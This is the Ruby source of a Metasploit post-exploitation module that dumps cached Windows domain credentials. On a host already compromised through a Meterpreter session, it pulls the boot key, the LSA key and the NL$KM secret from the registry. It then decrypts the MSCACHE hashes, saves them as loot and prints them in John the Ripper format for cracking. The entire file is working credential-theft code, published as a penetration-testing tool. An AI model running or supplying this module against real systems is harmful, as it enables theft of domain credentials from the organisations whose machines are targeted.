389 lines
12 KiB
Ruby
389 lines
12 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
|
|
class MetasploitModule < Msf::Post
|
|
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Windows::Registry
|
|
|
|
def initialize(info={})
|
|
super( update_info(info,
|
|
'Name' => 'Windows Gather Credential Cache Dump',
|
|
'Description' => %q{
|
|
This module uses the registry to extract the stored domain hashes that have been
|
|
cached as a result of a GPO setting. The default setting on Windows is to store
|
|
the last ten successful logins.},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Maurizio Agazzini <inode[at]mediaservice.net>',
|
|
'mubix'
|
|
],
|
|
'Platform' => ['win'],
|
|
'SessionTypes' => ['meterpreter'],
|
|
'References' => [['URL', 'http://lab.mediaservice.net/code/cachedump.rb']]
|
|
))
|
|
end
|
|
|
|
|
|
|
|
def check_gpo
|
|
gposetting = registry_getvaldata("HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "CachedLogonsCount")
|
|
print_status("Cached Credentials Setting: #{gposetting} - (Max is 50 and 0 disables, and 10 is default)")
|
|
end
|
|
|
|
def capture_nlkm(lsakey)
|
|
nlkm = registry_getvaldata("HKLM\\SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal", "")
|
|
|
|
vprint_status("Encrypted NL$KM: #{nlkm.unpack("H*")[0]}")
|
|
|
|
if lsa_vista_style?
|
|
nlkm_dec = decrypt_lsa_data(nlkm, lsakey)
|
|
else
|
|
if sysinfo['Architecture'] == ARCH_X64
|
|
nlkm_dec = decrypt_secret_data(nlkm[0x10..-1], lsakey)
|
|
else # 32 bits
|
|
nlkm_dec = decrypt_secret_data(nlkm[0xC..-1], lsakey)
|
|
end
|
|
end
|
|
|
|
return nlkm_dec
|
|
end
|
|
|
|
def parse_decrypted_cache(dec_data, s)
|
|
|
|
i = 0
|
|
hash = dec_data[i,0x10]
|
|
i += 72
|
|
|
|
username = dec_data[i,s.userNameLength].split("\x00\x00").first.gsub("\x00", '')
|
|
i+=s.userNameLength
|
|
i+=2 * ( ( s.userNameLength / 2 ) % 2 )
|
|
|
|
vprint_good "Username\t\t: #{username}"
|
|
vprint_good "Hash\t\t: #{hash.unpack("H*")[0]}"
|
|
|
|
last = Time.at(s.lastAccess)
|
|
vprint_good "Last login\t\t: #{last.strftime("%F %T")} "
|
|
|
|
domain = dec_data[i,s.domainNameLength+1]
|
|
i+=s.domainNameLength
|
|
|
|
if( s.dnsDomainNameLength != 0)
|
|
dnsDomainName = dec_data[i,s.dnsDomainNameLength+1].split("\x00\x00").first.gsub("\x00", '')
|
|
i+=s.dnsDomainNameLength
|
|
i+=2 * ( ( s.dnsDomainNameLength / 2 ) % 2 )
|
|
vprint_good "DNS Domain Name\t: #{dnsDomainName}"
|
|
end
|
|
|
|
if( s.upnLength != 0)
|
|
upn = dec_data[i,s.upnLength+1].split("\x00\x00").first.gsub("\x00", '')
|
|
i+=s.upnLength
|
|
i+=2 * ( ( s.upnLength / 2 ) % 2 )
|
|
vprint_good "UPN\t\t\t: #{upn}"
|
|
end
|
|
|
|
if( s.effectiveNameLength != 0 )
|
|
effectiveName = dec_data[i,s.effectiveNameLength+1].split("\x00\x00").first.gsub("\x00", '')
|
|
i+=s.effectiveNameLength
|
|
i+=2 * ( ( s.effectiveNameLength / 2 ) % 2 )
|
|
vprint_good "Effective Name\t: #{effectiveName}"
|
|
end
|
|
|
|
if( s.fullNameLength != 0 )
|
|
fullName = dec_data[i,s.fullNameLength+1].split("\x00\x00").first.gsub("\x00", '')
|
|
i+=s.fullNameLength
|
|
i+=2 * ( ( s.fullNameLength / 2 ) % 2 )
|
|
vprint_good "Full Name\t\t: #{fullName}"
|
|
end
|
|
|
|
if( s.logonScriptLength != 0 )
|
|
logonScript = dec_data[i,s.logonScriptLength+1].split("\x00\x00").first.gsub("\x00", '')
|
|
i+=s.logonScriptLength
|
|
i+=2 * ( ( s.logonScriptLength / 2 ) % 2 )
|
|
vprint_good "Logon Script\t\t: #{logonScript}"
|
|
end
|
|
|
|
if( s.profilePathLength != 0 )
|
|
profilePath = dec_data[i,s.profilePathLength+1].split("\x00\x00").first.gsub("\x00", '')
|
|
i+=s.profilePathLength
|
|
i+=2 * ( ( s.profilePathLength / 2 ) % 2 )
|
|
vprint_good "Profile Path\t\t: #{profilePath}"
|
|
end
|
|
|
|
if( s.homeDirectoryLength != 0 )
|
|
homeDirectory = dec_data[i,s.homeDirectoryLength+1].split("\x00\x00").first.gsub("\x00", '')
|
|
i+=s.homeDirectoryLength
|
|
i+=2 * ( ( s.homeDirectoryLength / 2 ) % 2 )
|
|
vprint_good "Home Directory\t\t: #{homeDirectory}"
|
|
end
|
|
|
|
if( s.homeDirectoryDriveLength != 0 )
|
|
homeDirectoryDrive = dec_data[i,s.homeDirectoryDriveLength+1].split("\x00\x00").first.gsub("\x00", '')
|
|
i+=s.homeDirectoryDriveLength
|
|
i+=2 * ( ( s.homeDirectoryDriveLength / 2 ) % 2 )
|
|
vprint_good "Home Directory Drive\t: #{homeDirectoryDrive}"
|
|
end
|
|
|
|
vprint_good "User ID\t\t: #{s.userId}"
|
|
vprint_good "Primary Group ID\t: #{s.primaryGroupId}"
|
|
|
|
relativeId = []
|
|
while (s.groupCount > 0) do
|
|
# Todo: parse attributes
|
|
relativeId << dec_data[i,4].unpack("V")[0]
|
|
i+=4
|
|
attributes = dec_data[i,4].unpack("V")[0]
|
|
i+=4
|
|
s.groupCount-=1
|
|
end
|
|
|
|
vprint_good "Additional groups\t: #{relativeId.join ' '}"
|
|
|
|
if( s.logonDomainNameLength != 0 )
|
|
logonDomainName = dec_data[i,s.logonDomainNameLength+1].split("\x00\x00").first.gsub("\x00", '')
|
|
i+=s.logonDomainNameLength
|
|
i+=2 * ( ( s.logonDomainNameLength / 2 ) % 2 )
|
|
vprint_good "Logon domain name\t: #{logonDomainName}"
|
|
end
|
|
|
|
@credentials <<
|
|
[
|
|
username,
|
|
hash.unpack("H*")[0],
|
|
logonDomainName,
|
|
dnsDomainName,
|
|
last.strftime("%F %T"),
|
|
upn,
|
|
effectiveName,
|
|
fullName,
|
|
logonScript,
|
|
profilePath,
|
|
homeDirectory,
|
|
homeDirectoryDrive,
|
|
s.primaryGroupId,
|
|
relativeId.join(' '),
|
|
]
|
|
|
|
vprint_good "----------------------------------------------------------------------"
|
|
if lsa_vista_style?
|
|
return "#{username.downcase}:$DCC2$##{username.downcase}##{hash.unpack("H*")[0]}:#{dnsDomainName}:#{logonDomainName}\n"
|
|
else
|
|
return "#{username.downcase}:M$#{username.downcase}##{hash.unpack("H*")[0]}:#{dnsDomainName}:#{logonDomainName}\n"
|
|
end
|
|
|
|
end
|
|
|
|
def parse_cache_entry(cache_data)
|
|
j = Struct.new(
|
|
:userNameLength,
|
|
:domainNameLength,
|
|
:effectiveNameLength,
|
|
:fullNameLength,
|
|
:logonScriptLength,
|
|
:profilePathLength,
|
|
:homeDirectoryLength,
|
|
:homeDirectoryDriveLength,
|
|
:userId,
|
|
:primaryGroupId,
|
|
:groupCount,
|
|
:logonDomainNameLength,
|
|
:logonDomainIdLength,
|
|
:lastAccess,
|
|
:last_access_time,
|
|
:revision,
|
|
:sidCount,
|
|
:valid,
|
|
:sifLength,
|
|
:logonPackage,
|
|
:dnsDomainNameLength,
|
|
:upnLength,
|
|
:ch,
|
|
:enc_data
|
|
)
|
|
|
|
s = j.new()
|
|
|
|
s.userNameLength = cache_data[0,2].unpack("v")[0]
|
|
s.domainNameLength = cache_data[2,2].unpack("v")[0]
|
|
s.effectiveNameLength = cache_data[4,2].unpack("v")[0]
|
|
s.fullNameLength = cache_data[6,2].unpack("v")[0]
|
|
s.logonScriptLength = cache_data[8,2].unpack("v")[0]
|
|
s.profilePathLength = cache_data[10,2].unpack("v")[0]
|
|
s.homeDirectoryLength = cache_data[12,2].unpack("v")[0]
|
|
s.homeDirectoryDriveLength = cache_data[14,2].unpack("v")[0]
|
|
|
|
s.userId = cache_data[16,4].unpack("V")[0]
|
|
s.primaryGroupId = cache_data[20,4].unpack("V")[0]
|
|
s.groupCount = cache_data[24,4].unpack("V")[0]
|
|
s.logonDomainNameLength = cache_data[28,2].unpack("v")[0]
|
|
s.logonDomainIdLength = cache_data[30,2].unpack("v")[0]
|
|
|
|
#Removed ("Q") unpack and replaced as such
|
|
thi = cache_data[32,4].unpack("V")[0]
|
|
tlo = cache_data[36,4].unpack("V")[0]
|
|
q = (tlo.to_s(16) + thi.to_s(16)).to_i(16)
|
|
s.lastAccess = ((q / 10000000) - 11644473600)
|
|
|
|
s.revision = cache_data[40,4].unpack("V")[0]
|
|
s.sidCount = cache_data[44,4].unpack("V")[0]
|
|
s.valid = cache_data[48,4].unpack("V")[0]
|
|
s.sifLength = cache_data[52,4].unpack("V")[0]
|
|
|
|
s.logonPackage = cache_data[56,4].unpack("V")[0]
|
|
s.dnsDomainNameLength = cache_data[60,2].unpack("v")[0]
|
|
s.upnLength = cache_data[62,2].unpack("v")[0]
|
|
|
|
s.ch = cache_data[64,16]
|
|
s.enc_data = cache_data[96..-1]
|
|
|
|
return s
|
|
end
|
|
|
|
def decrypt_hash(edata, nlkm, ch)
|
|
rc4key = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), nlkm, ch)
|
|
rc4 = OpenSSL::Cipher::Cipher.new("rc4")
|
|
rc4.key = rc4key
|
|
decrypted = rc4.update(edata)
|
|
decrypted << rc4.final
|
|
|
|
return decrypted
|
|
end
|
|
|
|
def decrypt_hash_vista(edata, nlkm, ch)
|
|
aes = OpenSSL::Cipher::Cipher.new('aes-128-cbc')
|
|
aes.key = nlkm[16...-1]
|
|
aes.padding = 0
|
|
aes.decrypt
|
|
aes.iv = ch
|
|
|
|
decrypted = ""
|
|
(0...edata.length).step(16) do |i|
|
|
decrypted << aes.update(edata[i,16])
|
|
end
|
|
|
|
return decrypted
|
|
end
|
|
|
|
|
|
def run
|
|
@credentials = Rex::Text::Table.new(
|
|
'Header' => "MSCACHE Credentials",
|
|
'Indent' => 1,
|
|
'Columns' =>
|
|
[
|
|
"Username",
|
|
"Hash",
|
|
"Logon Domain Name",
|
|
"DNS Domain Name",
|
|
"Last Login",
|
|
"UPN",
|
|
"Effective Name",
|
|
"Full Name",
|
|
"Logon Script",
|
|
"Profile Path",
|
|
"Home Directory",
|
|
"HomeDir Drive",
|
|
"Primary Group",
|
|
"Additional Groups"
|
|
])
|
|
|
|
begin
|
|
print_status("Executing module against #{sysinfo['Computer']}")
|
|
client.railgun.netapi32()
|
|
join_status = client.railgun.netapi32.NetGetJoinInformation(nil,4,4)["BufferType"]
|
|
|
|
if sysinfo['Architecture'] =~ /x64/
|
|
join_status = join_status & 0x00000000ffffffff
|
|
end
|
|
|
|
if join_status != 3
|
|
print_error("System is not joined to a domain, exiting..")
|
|
return
|
|
end
|
|
|
|
# Check policy setting for cached creds
|
|
check_gpo
|
|
|
|
print_status('Obtaining boot key...')
|
|
bootkey = capture_boot_key
|
|
vprint_status("Boot key: #{bootkey.unpack("H*")[0]}")
|
|
|
|
print_status('Obtaining Lsa key...')
|
|
lsakey = capture_lsa_key(bootkey)
|
|
if lsakey.nil?
|
|
print_error("Could not retrieve LSA key. Are you SYSTEM?")
|
|
return
|
|
end
|
|
|
|
vprint_status("Lsa Key: #{lsakey.unpack("H*")[0]}")
|
|
|
|
print_status("Obtaining LK$KM...")
|
|
nlkm = capture_nlkm(lsakey)
|
|
vprint_status("NL$KM: #{nlkm.unpack("H*")[0]}")
|
|
|
|
print_status("Dumping cached credentials...")
|
|
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Cache", KEY_READ)
|
|
|
|
john = ""
|
|
|
|
ok.enum_value.each do |usr|
|
|
if( "NL$Control" == usr.name) then
|
|
next
|
|
end
|
|
|
|
begin
|
|
nl = ok.query_value("#{usr.name}").data
|
|
rescue
|
|
next
|
|
end
|
|
|
|
cache = parse_cache_entry(nl)
|
|
|
|
if ( cache.userNameLength > 0 )
|
|
vprint_status("Reg entry: #{nl.unpack("H*")[0]}")
|
|
vprint_status("Encrypted data: #{cache.enc_data.unpack("H*")[0]}")
|
|
vprint_status("Ch: #{cache.ch.unpack("H*")[0]}")
|
|
|
|
if lsa_vista_style?
|
|
dec_data = decrypt_hash_vista(cache.enc_data, nlkm, cache.ch)
|
|
else
|
|
dec_data = decrypt_hash(cache.enc_data, nlkm, cache.ch)
|
|
end
|
|
|
|
vprint_status("Decrypted data: #{dec_data.unpack("H*")[0]}")
|
|
|
|
john << parse_decrypted_cache(dec_data, cache)
|
|
|
|
end
|
|
end
|
|
|
|
if lsa_vista_style?
|
|
print_status("Hash are in MSCACHE_VISTA format. (mscash2)")
|
|
p = store_loot("mscache2.creds", "text/csv", session, @credentials.to_csv, "mscache2_credentials.txt", "MSCACHE v2 Credentials")
|
|
print_status("MSCACHE v2 saved in: #{p}")
|
|
|
|
john = "# mscash2\n" + john
|
|
else
|
|
print_status("Hash are in MSCACHE format. (mscash)")
|
|
p = store_loot("mscache.creds", "text/csv", session, @credentials.to_csv, "mscache_credentials.txt", "MSCACHE v1 Credentials")
|
|
print_status("MSCACHE v1 saved in: #{p}")
|
|
john = "# mscash\n" + john
|
|
end
|
|
|
|
print_status("John the Ripper format:")
|
|
print_line john
|
|
|
|
rescue ::Interrupt
|
|
raise $!
|
|
rescue ::Rex::Post::Meterpreter::RequestError => e
|
|
print_error("Meterpreter Exception: #{e.class} #{e}")
|
|
print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)")
|
|
end
|
|
end
|
|
end
|